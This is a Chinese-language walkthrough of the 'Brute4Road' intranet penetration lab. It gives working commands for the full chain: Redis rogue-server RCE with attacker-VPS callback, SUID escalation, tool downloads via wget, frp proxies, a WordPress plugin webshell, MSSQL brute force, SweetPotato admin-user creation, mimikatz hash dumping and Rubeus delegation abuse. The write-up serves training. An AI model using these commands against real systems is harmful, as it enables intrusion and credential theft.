内网渗透靶场之春秋云镜-Brute4Road【详细解析】
字数 4276
更新时间 2026-04-29 12:04:14
内网渗透靶场实战:春秋云镜-Brute4Road 完整解析与教学
1. 信息搜集
信息搜集是渗透测试的第一步,旨在发现目标网络的可攻击面。本文靶场提供了两种典型的主机与端口发现方法。
1.1 使用 Nmap 进行端口扫描
Nmap 是一款功能强大的网络发现和安全审计工具。
- 命令示例:
nmap -p 21,22,80,443,8080,6379,3306,5432,5000,8081,9000,27017,27018 -sCV -oN nmap_detailed_scan.txt 【目标IP】 - 参数解释:
-p:指定扫描的端口范围。-sC:使用默认脚本进行扫描。-sV:探测服务版本。-oN:将标准输出结果保存到文件。
1.2 使用 Fscan 进行内网综合扫描
Fscan 是一款用 Go 语言编写的自动化内网综合扫描工具,支持存活探测、端口扫描、服务爆破等多种功能。
- 命令示例:
fscan.exe -h 【目标IP】 - 扫描结果关键发现:
- FTP 匿名登录:发现开放 21 端口,可匿名登录,但仅存在空的
pub文件夹,利用价值低。 - Redis 未授权访问:发现开放 6379 端口,存在 Redis 未授权访问漏洞。这是本次渗透的首要突破口。
- FTP 匿名登录:发现开放 21 端口,可匿名登录,但仅存在空的
2. 获取初始权限 (Flag1)
2.1 利用 Redis 主从复制 RCE
当发现内网存在 Redis 未授权漏洞(版本 5.0.12)时,可采用 Redis 主从复制机制实现远程代码执行。
- 漏洞原理:攻击者将自己的机器伪造成 Redis 从节点,诱使目标 Redis 主机同步攻击者恶意构造的模块文件,从而加载并执行恶意代码。
- 利用工具:
redis-rogue-server(https://github.com/n0b0dyCN/redis-rogue-server) - 攻击命令:
# 在攻击机 (VPS) 上执行 python3 redis-rogue-server.py --rhost 【目标IP】 --lhost 【VPS_IP】 --lport 21002 - 成功迹象:命令执行后,获得目标 Redis 服务所在主机的
shell权限。 - 优化交互:在获得的简单 shell 中,可以使用 Python 建立伪终端,获得更友好的交互体验。
python -c 'import pty; pty.spawn("/bin/bash")'
2.2 SUID 提权获取 Flag1
获得 shell 后,发现 flag 文件位于 /home/redis/flag/flag01,但当前用户无读取权限,需提权。
- 查找 SUID 权限文件:
find / -user root -perm -4000 -print 2>/dev/null - 利用 base64 命令提权:在查找结果中,若发现
base64命令具有 SUID 权限,则可利用其读取任意文件。base64 "/home/redis/flag/flag01" | base64 --decode - 结果:成功读取到第一个 Flag 的内容。
3. 内网横向移动 (Flag2)
以被攻陷的 Redis 主机作为跳板,进行内网渗透。
3.1 搭建攻击资源服务器与文件传输
- 在 VPS 上启动 Web 服务,用于托管后续渗透工具。
python3 -m http.server 9023 - 从跳板机下载工具。
cd /tmp wget http://【VPS_IP】:9023/fscan wget http://【VPS_IP】:9023/frp/frpc ... (其他工具) chmod 777 fscan frpc ... # 赋予执行权限
3.2 内网代理配置
为了从攻击机直接访问内网资源,需要建立代理通道。文档中提到了两种方式:
- 方法一:Frp 反向代理
- 服务端 (VPS) 配置 (
frps.toml):bindPort = 7002 - 客户端 (跳板机) 配置 (
frpc.toml):serverAddr = "【VPS_IP】" serverPort = 7002 [[proxies]] name = "socks5" type = "tcp" remotePort = 8000 [proxies.plugin] type = "socks5" - 启动命令:
# 服务端 ./frps -c frps.toml # 客户端 ./frpc -c frpc.toml - 本地代理设置:在攻击机使用 Proxifier 等全局代理工具,配置 SOCKS5 代理指向 VPS 的相应端口,即可访问内网。
- 服务端 (VPS) 配置 (
- 方法二:Gost 正向代理(更稳定)
- 在已控的跳板机上直接运行 Gost 监听端口。
./gost -L=:10001 & - 在攻击机配置代理直接指向跳板机的
IP:10001即可。
- 在已控的跳板机上直接运行 Gost 监听端口。
3.3 内网主机发现与存活探测
在跳板机上扫描内网 C 段资产。
- 探测本机 IP 及网段:
netstat -ano # 根据网络连接推测内网网段,例如 172.22.2.0/24 - 使用 Fscan 进行扫描:
./fscan -h 172.22.2.0/24 -o res.txt - 扫描结果分析:发现多台存活主机,其中
172.22.2.18主机开放 80 端口,运行 WordPress,成为后续攻击点。
3.4 攻击 WordPress 站点 (WPCargo 插件漏洞)
- 漏洞利用:扫描发现目标 WordPress 使用了存在漏洞的
wpcargo插件。使用公开的 EXP 脚本进行攻击。python3 WpCargo.py -t http://172.22.2.18/ - 写入 Webshell:脚本执行后,会在网站根目录生成后门文件
webshell.php。 - 蚁剑连接:使用蚁剑等 webshell 管理工具连接
http://172.22.2.18/webshell.php?1=system,选择CMDLINUX类型,成功获得该 WordPress 服务器的 shell 权限。
3.5 获取数据库凭证与 Flag2
- 查找数据库配置:在 WordPress 根目录下找到
wp-config.php文件,从中提取数据库连接用户名和密码。 - 连接数据库:使用获取的凭据连接 MySQL 数据库。
- 寻找 Flag:在数据库的
wp_posts等表中搜索,找到并提交第二个 Flag。 - 密码收集:同时从数据库的用户表中收集可能的密码哈希或明文密码,整理成密码字典,为后续爆破做准备。
4. 横向移动至数据库服务器 (Flag3)
4.1 爆破 MSSQL 服务器密码
内网扫描发现主机 172.22.2.16 运行 MSSQL Server。
- 使用 Fscan 爆破:利用上一阶段收集的密码字典,对 MSSQL 的
sa账户进行密码爆破。fscan -h 172.22.2.16 -m mssql -pwdf pwd.txt - 爆破结果:成功得到密码
ElGNkOiC。
4.2 连接数据库与执行命令
- 使用 MDUT 工具连接:使用
Multiple.Database.Utilization.Tools等数据库管理工具,以sa账户和破解的密码连接172.22.2.16:1433。 - 激活组件:在工具中激活“激活 xp_cmdshell”等组件,将编码设置为 GBK,以便执行系统命令。
4.3 甜土豆 (SweetPotato) 提权
当前权限为 mssql 服务账户,权限较低,需提权至 SYSTEM。
- 上传提权工具:通过数据库的“大文件上传”功能,将
SweetPotato.exe上传至目标服务器的C:\Users\Public\目录。 - 执行提权:通过数据库命令执行调用甜土豆程序,添加管理员用户。
# 通过数据库工具执行命令 C:/Users/Public/SweetPotato.exe -a "net user jay17 【密码】 /add" C:/Users/Public/SweetPotato.exe -a "net localgroup administrators jay17 /add" - 验证权限:
C:/Users/Public/SweetPotato.exe -a "whoami" # 应返回 nt authority\system
4.4 远程桌面连接与获取 Flag3
- 使用新添账户连接:在攻击机上使用远程桌面工具,以新创建的
jay17用户及密码登录172.22.2.16。 - 寻找 Flag:登录成功后,在
Administrator用户的桌面或目录下找到并提交第三个 Flag。
5. 域渗透与攻击域控 (Flag4)
5.1 域信息搜集
- 确认域环境:在已控的 MSSQL 服务器上执行
systeminfo,确认域名为xiaorang.lab。 - 使用 BloodHound 进行域关系分析:
- 在攻击机 (Kali) 安装并启动 Neo4j 数据库和 BloodHound。
- 在已控的域机器上,使用
SharpHound.exe收集域内信息。C:/Users/Public/SweetPotato.exe -a "C:/Users/jay17/Desktop/SharpHound.exe -c all" - 将生成的 zip 文件下载到 Kali,导入 BloodHound 进行分析。
- 关键发现:BloodHound 显示
MSSQLSERVER$机器账户被配置了到域控 (DC) 的LDAP和CIFS服务的约束性委派。这为后续攻击域控提供了路径。
5.2 约束委派攻击
约束委派允许受信任的服务器代表用户访问特定的其他服务。利用此配置,我们可以代表高权限用户申请访问域控服务的票据。
- 导出机器账户哈希:在已控的 MSSQL 服务器上,使用 Mimikatz 导出本地账户的 NTLM 哈希。
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit- 记录
MSSQLSERVER$账户的 NTLM 哈希:ff8c8dd5d4b745cf83b34caa1ffe3db5。
- 记录
- 申请 TGT 票据:使用 Rubeus 工具,利用机器账户的哈希申请该账户的 Kerberos TGT 票据。
.\Rubeus.exe asktgt /user:MSSQLSERVER$ /rc4:ff8c8dd5d4b745cf83b34caa1ffe3db5 /domain:xiaorang.lab /dc:DC.xiaorang.lab /nowrap > 1.txt- 从生成的
1.txt中复制票据的 Base64 编码。
- 从生成的
- 执行 S4U2Self 和 S4U2Proxy:利用上一步的 TGT,通过 S4U2Self 协议模拟域管理员 (
Administrator),为域控的CIFS服务申请 ST (Service Ticket),并注入当前会话的内存。.\Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:CIFS/DC.xiaorang.lab /dc:DC.xiaorang.lab /ptt /ticket:【上一步复制的Base64票据】 - 访问域控资源:票据成功注入后,即可直接访问域控的共享资源,无需密码。
dir \\DC.xiaorang.lab\C$ type \\DC.xiaorang.lab\C$\Users\Administrator\Desktop\flag.txt - 结果:成功读取到域控桌面上的第四个 Flag,完成整个靶场的渗透测试。
6. 关键工具与命令总结
| 阶段 | 工具/命令 | 用途 |
|---|---|---|
| 信息搜集 | nmap -sCV |
端口扫描与服务识别 |
| 信息搜集 | fscan -h |
内网综合扫描 |
| 初始攻击 | redis-rogue-server.py |
Redis 主从复制 RCE |
| 权限提升 | find / -perm -4000 |
查找 SUID 文件 |
| 权限提升 | base64 命令 |
SUID 提权读文件 |
| 代理搭建 | frps/frpc 或 gost |
内网穿透/代理 |
| 漏洞利用 | WpCargo.py |
WordPress 插件漏洞利用 |
| 横向移动 | fscan -m mssql |
爆破 MSSQL 密码 |
| 权限提升 | SweetPotato.exe |
Windows 本地提权 |
| 信息搜集 | SharpHound.exe |
域内信息收集 |
| 信息搜集 | mimikatz |
抓取哈希与票据 |
| 域攻击 | Rubeus.exe |
Kerberos 票据操作 (TGT/ST) |
核心攻击链总结:Redis 未授权 RCE -> SUID 提权 -> 内网代理 -> WordPress 插件漏洞 Getshell -> 数据库密码获取 -> MSSQL 密码爆破 -> 数据库连接与命令执行 -> SweetPotato 提权 -> 约束委派信息发现 -> Mimikatz 获取机器账户哈希 -> Rubeus 请求约束委派票据 -> 模拟域管理员访问域控获取最终 Flag。
相似文章
相似文章